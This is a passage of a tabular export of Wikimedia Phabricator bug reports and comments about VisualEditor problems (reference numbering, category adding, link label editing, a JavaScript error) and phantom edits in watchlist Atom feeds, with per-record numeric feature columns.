The latter is wrong. I except to see in VE edit mode the same letters a b as in read mode",,,1377775284,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-w2eu52oilk4spsdpzeoa,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,19.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,3.0,0.0,6.0,0.0,4.0,13.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,2.671641791044776,0.5373134328358209,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

In read mode I see

1. ^ a b pippo

In VE edit mode I see:

1.   1.0 1.1 pippo

The latter is wrong. I except to see in VE edit mode the same letters a b as in read mode"
249167,VisualEditor:Wrong reference subnumbering used for some wikis,(Are the letters in ref.1 at https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=next&oldid=570373191 different from what you describe?),,,1377769124,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-w2eu52oilk4spsdpzeoa,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,1.0,(Are the letters in ref.1 at URL different from what you describe?)
53452,VisualEditor: Category adding interface is hard to find,"I was surprised to find that I couldn't add any categories with the Visual Editor. I'm sure if we can add images, references, and templates, we should be able to add categories without too much trouble. Is this feature in beta or something?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373996400,1374010099.0,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,False,PHID-TASK-d36xqpcmqmrkpqcgucpb,task_description,resolved,True,c1,3,False,False,True,2,,3.0,1.0,0.0,0.0,1.0,9.0,4.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,10.0,1.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,12.0,3.0,3.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.0,3.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9130434782608696,0.7246376811594203,"I was surprised to find that I couldn't add any categories with the Visual Editor. I'm sure if we can add images, references, and templates, we should be able to add categories without too much trouble. Is this feature in beta or something?

--------------------------
**Version**: unspecified
**Severity**: normal"
249101,VisualEditor: Category adding interface is hard to find,"

*** This bug has been marked as a duplicate of bug 51153 ***",,,1374010099,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-d36xqpcmqmrkpqcgucpb,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51153 ***"
249097,VisualEditor: Category adding interface is hard to find,"Nevermind. I found it under Page Settings. Seems like a strange place to put it. I would expect page settings to be stuff like font size or disabling the table of contents. Also the gear icon seems like a strange choice since all of our other uses of the gear icon (Echo, ULS) are about changing user preferences. Definitely not an icon I would associate with adding categories.

Changing bug summary.",,,1374005371,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-d36xqpcmqmrkpqcgucpb,task_subcomment,,True,c1,3,False,,,2,,1.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,15.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,2.0,15.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,15.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,5.0,0.0,0.0,0.0,4.048780487804878,0.7317073170731707,"Nevermind. I found it under Page Settings. Seems like a strange place to put it. I would expect page settings to be stuff like font size or disabling the table of contents. Also the gear icon seems like a strange choice since all of our other uses of the gear icon (Echo, ULS) are about changing user preferences. Definitely not an icon I would associate with adding categories.

Changing bug summary."
53440,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'end' of null""","Can't reliably reproduce but I was turning text into a link, enter a url but didn't save the new link target (so it was saved as an internal link with the label as link target), then when entering the Save dialog and saving, this exception was thrown.


> Uncaught TypeError: Cannot read property 'end' of null
  load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cexperimental%2…ageTarget.icons-vector%7Crangy&skin=vector&version=20130716T133516Z&*:9463
* ve.ui.Context.updateDimensions
  load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cexperimental%2…ageTarget.icons-vector%7Crangy&skin=vector&version=20130716T133516Z&*:9463
* (anonymous function)
  load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cexperimental%2…ageTarget.icons-vector%7Crangy&skin=vector&version=20130716T133516Z&*:9499
* proxy
  load.php?debug=false&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20130715T175253Z:10

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373983800,1385386303.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-pskrxedevzwi6wzlhh27,task_description,declined,True,c1,3,True,False,False,2,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,7.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,4.0,7.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,2.0,0.0,0.0,0.0,9.43298969072165,0.6288659793814433,"Can't reliably reproduce but I was turning text into a link, enter a url but didn't save the new link target (so it was saved as an internal link with the label as link target), then when entering the Save dialog and saving, this exception was thrown.


QUOTE
  load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cexperimental%2…ageTarget.icons-vector%7Crangy&skin=vector&version=20130716T133516Z&*:9463
* ve.ui.Context.updateDimensions
  load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cexperimental%2…ageTarget.icons-vector%7Crangy&skin=vector&version=20130716T133516Z&*:9463
* (anonymous function)
  load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cexperimental%2…ageTarget.icons-vector%7Crangy&skin=vector&version=20130716T133516Z&*:9499
* proxy
  load.php?debug=false&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20130715T175253Z:10

--------------------------
**Version**: unspecified
**Severity**: normal"
248308,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'end' of null""",Provisionally closing as WORKSFORME.,,,1385386303,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pskrxedevzwi6wzlhh27,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,6.6,1.0,Provisionally closing as WORKSFORME.
53438,VisualEditor: Link inspector should make it easier to change the label,"There's a few problems, if we end up solving them in different ways we should create separate bugs for one or more of them.


1) Changing the label of an internal link

Given a simple link like [[example]] or [[Example]] (e.g. no custom label), when changing the link target, it seems to the user that the link has not updated since the label (which is all we see in the editor, hovering the link does nothing since it isn't a clickable link in edit mode).. since the label has not changed.

Now one could argue the label shouldn't update at this point so that the sentence still reads the same (e.g. when changing intending to change the link from ""He was [[foolian]]."" to ""He was [[Foo|foonier]]."") and to be consistent for cases where the link does have a custom label (in which case it is more likely the label should stay the same?).

However given the following two cases:

* ""... is an [[United States|American]] thing ...""
  -> "" is a [[Germany|German]] thing ...""

* ""... according to [[David Tennant]] ...""
  -> "" according to [[Russell T Davies]] ...""

It is very common that the label should change to the target automatically (the second case) or at least be easy to change right after (first case). Ideally for the first case above it would automatically change to Germany and then the user can correct it to German.

2) Change the label of any link

Whether internal or external, it seems quite difficult to change the label of a link. When selecting the entire link text and typing over it, it currently behaves as follows:

 > Some <a>link</a>
 Select link (has to be done manually (tedious and error prone) 
 > Some [selection]<a>link</a>[/selection]""
 Type ""hello"".
 > Some <a>h</a>ello.

wtf?


Though I'm open to other ideas, I'd recommend we start by putting an input field in the link inspector for the label so that they can be changed together. Though even without that, one should be able to replace the label without opening the inspector or running into the weird ""<a>first char</a>other chars"" case.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=48463",Needs Triage,90.0,1373981640,1433344273.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-hqvxg56nlg2toykqmhmk,task_description,duplicate,True,c1,3,True,True,False,2,,0.6,0.0,0.2,0.4,0.8,6.2,1.8,0.0,0.4,0.2,1.8,0.8,0.0,0.0,0.2,1.2,0.0,5.2,10.4,0.2,1.2,1.0,1.0,0.0,0.4,0.0,0.2,0.2,0.6,0.4,0.0,4.2,0.4,1.8,0.2,0.0,0.4,0.2,0.6,0.4,0.2,1.0,0.2,0.4,0.0,0.6,0.2,0.0,0.0,13.2,0.2,0.6,0.2,0.4,0.0,0.0,0.2,0.4,0.4,0.4,0.6,0.8,0.0,0.2,0.4,0.0,0.0,7.6,2.6,7.6,3.2,1.8,9.0,0.0,0.0,0.0,0.0,4.0,0.2,0.4,0.0,4.4,10.4,2.0,0.4,3.2,0.0,4.4,0.0,1.4,1.8,0.4,2.8,0.4,0.2,6.2,3.514285714285714,0.6285714285714287,"There's a few problems, if we end up solving them in different ways we should create separate bugs for one or more of them.


1) Changing the label of an internal link

Given a simple link like [[example]] or [[Example]] (e.g. no custom label), when changing the link target, it seems to the user that the link has not updated since the label (which is all we see in the editor, hovering the link does nothing since it isn't a clickable link in edit mode).. since the label has not changed.

Now one could argue the label shouldn't update at this point so that the sentence still reads the same (e.g. when changing intending to change the link from ""He was [[foolian]]."" to ""He was [[Foo|foonier]]."") and to be consistent for cases where the link does have a custom label (in which case it is more likely the label should stay the same?).

However given the following two cases:

* ""... is an [[United States|American]] thing ...""
  -> "" is a [[Germany|German]] thing ...""

* ""... according to [[David Tennant]] ...""
  -> "" according to [[Russell T Davies]] ...""

It is very common that the label should change to the target automatically (the second case) or at least be easy to change right after (first case). Ideally for the first case above it would automatically change to Germany and then the user can correct it to German.

2) Change the label of any link

Whether internal or external, it seems quite difficult to change the label of a link. When selecting the entire link text and typing over it, it currently behaves as follows:

QUOTE
 Select link (has to be done manually (tedious and error prone) 
QUOTE
 Type ""hello"".
QUOTE

wtf?


Though I'm open to other ideas, I'd recommend we start by putting an input field in the link inspector for the label so that they can be changed together. Though even without that, one should be able to replace the label without opening the inspector or running into the weird ""<a>first char</a>other chars"" case.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
248200,VisualEditor: Link inspector should make it easier to change the label,"

*** This bug has been marked as a duplicate of bug 53973 ***",,,1395196870,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hqvxg56nlg2toykqmhmk,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 53973 ***"
248194,VisualEditor: Link inspector should make it easier to change the label,"Here's a link that shows one of the main problems with the current approach:  https://hif.wikipedia.org/w/index.php?title=Akbar_the_Great&diff=194531&oldid=194146

The editor almost certainly did not intend to end up with [[15 October|14 October]], and the editor almost certainly does not know that his effort to change the link failed.",,,1391535731,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-hqvxg56nlg2toykqmhmk,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,9.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,2.0,13.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,3.8727272727272726,0.7636363636363637,"Here's a link that shows one of the main problems with the current approach:  URL

The editor almost certainly did not intend to end up with [[15 October|14 October]], and the editor almost certainly does not know that his effort to change the link failed."
248190,VisualEditor: Link inspector should make it easier to change the label,"I'd rather have a label input (or at least a label display) in the link inspector, but some method of indicating that the link is piped or has separate trailing text is important.  

If you see a redlink like ""Alice Expert"", you can't tell from looking at the link in VisualEditor that it's actually piped:  [[Alice D Expert|Alice Expert]].  Fixing the label to match the actual article title name (""Alice D. Expert"") does not fix the broken link.  

There's no way to see that the redlink didn't get fixed when you changed the label to ""Alice D. Expert"" (because VisualEditor's ""red"" links are blue).  

There is also no reason for you to suspect that the problem is due to a hidden piped link, because there is no visual cue that you need to go into the link inspector to address the hidden/piped link.",,,1378925410,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-hqvxg56nlg2toykqmhmk,task_subcomment,,True,c1,3,False,,,10,,0.5,0.0,0.0,0.5,1.5,6.5,1.5,1.0,0.0,0.5,1.0,1.5,0.0,0.0,1.5,0.5,0.5,3.5,12.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,6.5,2.5,0.5,0.0,2.5,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,1.5,14.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,0.0,8.0,3.0,10.0,4.0,1.5,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5,12.0,5.0,0.0,4.0,0.0,3.5,0.0,1.0,2.0,0.0,2.0,0.0,0.5,2.0,3.6171763019589105,0.6555183946488294,"I'd rather have a label input (or at least a label display) in the link inspector, but some method of indicating that the link is piped or has separate trailing text is important.  

If you see a redlink like ""Alice Expert"", you can't tell from looking at the link in VisualEditor that it's actually piped:  [[Alice D Expert|Alice Expert]].  Fixing the label to match the actual article title name (""Alice D. Expert"") does not fix the broken link.  

There's no way to see that the redlink didn't get fixed when you changed the label to ""Alice D. Expert"" (because VisualEditor's ""red"" links are blue).  

There is also no reason for you to suspect that the problem is due to a hidden piped link, because there is no visual cue that you need to go into the link inspector to address the hidden/piped link."
248188,VisualEditor: Link inspector should make it easier to change the label,I think this duplicates Bug 50945,,,1375181384,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hqvxg56nlg2toykqmhmk,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,I think this duplicates Bug 50945
248186,VisualEditor: Link inspector should make it easier to change the label,"We shouldn't put a label input in the link inspector because:

1. It doesn't support rich text
2. We cannot and should not put a subsurface in an inspector
3. Links should remain a lightweight task, and dialogs are not lightweight
4. This doesn't elegantly solve the problem anyway

Some steps towards a better approach:

1. We could decorate the ""linked"" portion of a link differently than
   the link trail portion - at lease during certain interactions.
2. We could add extra cursor positions on each side of a link to indicate being
   next to or inside the link tag, decorate the link when you are inside those
   boundaries.",,,1374009514,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-hqvxg56nlg2toykqmhmk,task_subcomment,,True,c1,3,False,,,2,,1.0,0.0,0.0,0.0,3.0,5.0,1.0,0.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,2.5,0.0,5.0,10.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,3.0,0.5,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,2.0,0.0,0.0,0.5,0.0,0.0,8.0,2.0,4.5,1.0,1.5,10.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,3.5,10.0,0.0,0.0,1.5,0.0,3.5,0.0,0.5,4.0,0.0,0.0,0.5,0.0,2.5,3.88384484228474,0.678921568627451,"We shouldn't put a label input in the link inspector because:

1. It doesn't support rich text
2. We cannot and should not put a subsurface in an inspector
3. Links should remain a lightweight task, and dialogs are not lightweight
4. This doesn't elegantly solve the problem anyway

Some steps towards a better approach:

1. We could decorate the ""linked"" portion of a link differently than
   the link trail portion - at lease during certain interactions.
2. We could add extra cursor positions on each side of a link to indicate being
   next to or inside the link tag, decorate the link when you are inside those
   boundaries."
53427,Syndicated feeds of Watchlists include non-existent edits,"XML file of syndicated watchlist, slightly modified

MediaWiki creates Atom feeds for watchlists. I use a feed reader to read a few on Wikia as well as en.wp. The feeds from Wikia are all sensible and useful but the one from en.wp includes edits that do not exist. Attached is an XML file that I generated with wget (through the assistance of persons on #mediawiki) which I have slightly redacted to remove my watchlist token. Edits which did not occur can be found c. line 229 where the syndication claims that User:FelGru edited the page Everything That Happens Will Happen Today and starting around line 373 there are a spate of edits to categories by User:InMontreal which also did not occur.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11634}",Needs Triage,90.0,1373959140,1395065589.0,PHID-USER-34ciubbmtvmsgh53t6hb,False,,False,PHID-TASK-rl6e4brnawmfpf74jcdj,task_description,resolved,True,c1,3,False,False,False,2,,1.0,0.5,0.0,0.5,1.5,2.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,2.0,0.0,5.0,9.0,0.5,1.0,0.0,0.0,0.0,2.5,0.5,0.0,0.5,0.5,0.5,0.0,5.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.5,0.5,0.5,12.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,1.0,0.0,5.0,2.0,15.0,1.0,1.5,7.0,0.0,0.0,0.0,0.5,4.0,0.0,1.5,0.0,2.0,9.0,8.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.5,0.0,0.0,0.0,4.122026498042758,0.7298253538090936,"XML file of syndicated watchlist, slightly modified

MediaWiki creates Atom feeds for watchlists. I use a feed reader to read a few on Wikia as well as en.wp. The feeds from Wikia are all sensible and useful but the one from en.wp includes edits that do not exist. Attached is an XML file that I generated with wget (through the assistance of persons on #mediawiki) which I have slightly redacted to remove my watchlist token. Edits which did not occur can be found c. line 229 where the syndication claims that User:FelGru edited the page Everything That Happens Will Happen Today and starting around line 373 there are a spate of edits to categories by User:InMontreal which also did not occur.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11634}"
247612,Syndicated feeds of Watchlists include non-existent edits,This seems fixed now for me.,,,1395065589,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-rl6e4brnawmfpf74jcdj,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,This seems fixed now for me.
247607,Syndicated feeds of Watchlists include non-existent edits,"Core should exclude RC_EXTERNAL by default for feeds or the extension has to provide a feed formatter for that row, but should also respect the setting, that external not always include in the result.

You can use wltype=edit|new|log to exclude the external edits.",,,1383507823,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-rl6e4brnawmfpf74jcdj,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,6.0,2.0,4.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,14.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.46,0.78,"Core should exclude RC_EXTERNAL by default for feeds or the extension has to provide a feed formatter for that row, but should also respect the setting, that external not always include in the result.

You can use wltype=edit|new|log to exclude the external edits."
247602,Syndicated feeds of Watchlists include non-existent edits,"Problem solved? This user edited d:Q3977961 (several times in a row: https://www.wikidata.org/w/index.php?title=Q3977961&diff=60842173&oldid=37167299 ). Evidently, related items from Wikidata cause these phantom changes to occur...",,,1374562249,,PHID-USER-34ciubbmtvmsgh53t6hb,False,,,PHID-TASK-rl6e4brnawmfpf74jcdj,task_subcomment,,True,c1,3,False,,,3,,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.09375,0.96875,"Problem solved? This user edited d:Q3977961 (several times in a row: URL ). Evidently, related items from Wikidata cause these phantom changes to occur..."
247597,Syndicated feeds of Watchlists include non-existent edits,"For what it's worth, I just caught a live one showing up in my Special:Watchlist Atom feed and then checked against Special:RecentChanges on en.wp:

At 1:23, my watchlist claims that User:Andreasmperu edited Superman (The Clique song).

Here is a copy-and-paste from every edit that happened from 1:23:00 to 1:23:59:

(diff | hist) . . Begusarai district‎; 01:23:59 . . (+19)‎ . . ‎101.62.52.201 (talk)‎ (→‎Education)
(diff | hist) . . Wikipedia:WikiProject Guild of Copy Editors/Backlog elimination drives/July 2013‎; 01:23:58 . . (+59)‎ . . ‎JudyCS (talk | contribs)‎ (→‎JudyCS (talk): updated totals)
(diff | hist) . . Kojak‎; 01:23:57 . . (+14)‎ . . ‎71.180.138.175 (talk)‎ (→‎Plot) [rollback]
(diff | hist) . . N User:TinyURLDotComSlashMb4tstl‎; 01:23:55 . . (+27)‎ . . ‎Prolog (talk | contribs)‎ (blockedsock)
(diff | hist) . . N! User:Djdubay/sandbox/Userbox/Project‎; 01:23:53 . . (+802)‎ . . ‎Djdubay (talk | contribs)‎ (Creating new sandbox subpage.)
(diff | hist) . . Wikipedia:WikiProject Military history/Fortifications task force/Popular pages‎; 01:23:52 . . (-30)‎ . . ‎Mr.Z-bot (talk | contribs)‎ (Popularity stats for WikiProject Military history/Fortifications task force) [rollback]
(diff | hist) . . User:DGG/CSD log‎; 01:23:51 . . (+166)‎ . . ‎DGG (talk | contribs)‎ (Logging speedy deletion nomination of Wikipedia talk:Articles for creation/TPRG KANGAROO BRAND. (TW])) [rollback]
(diff | hist) . . Margareta Huitfeldt‎; 01:23:49 . . (+66)‎ . . ‎Aciram (talk | contribs)‎ (→‎References) [rollback]
(diff | hist) . . m Stella Women’s Academy, High School Division Class C3‎; 01:23:47 . . (+20)‎ . . ‎Xezbeth (talk | contribs)‎ (Disambiguated: Rambo → Rambo (film series)) [rollback]
(diff | hist) . . N. T. Rama Rao Jr.‎; 01:23:47 . . (-12)‎ . . ‎117.241.0.199 (talk)‎ (→‎As actor) [rollback]
(User creation log); 01:23:45 . . User account Thundercatmd (talk | contribs) was created ‎
(diff | hist) . . Sadabad, India‎; 01:23:45 . . (+77)‎ . . ‎117.243.196.54 (talk)‎ (→‎Education) [rollback]
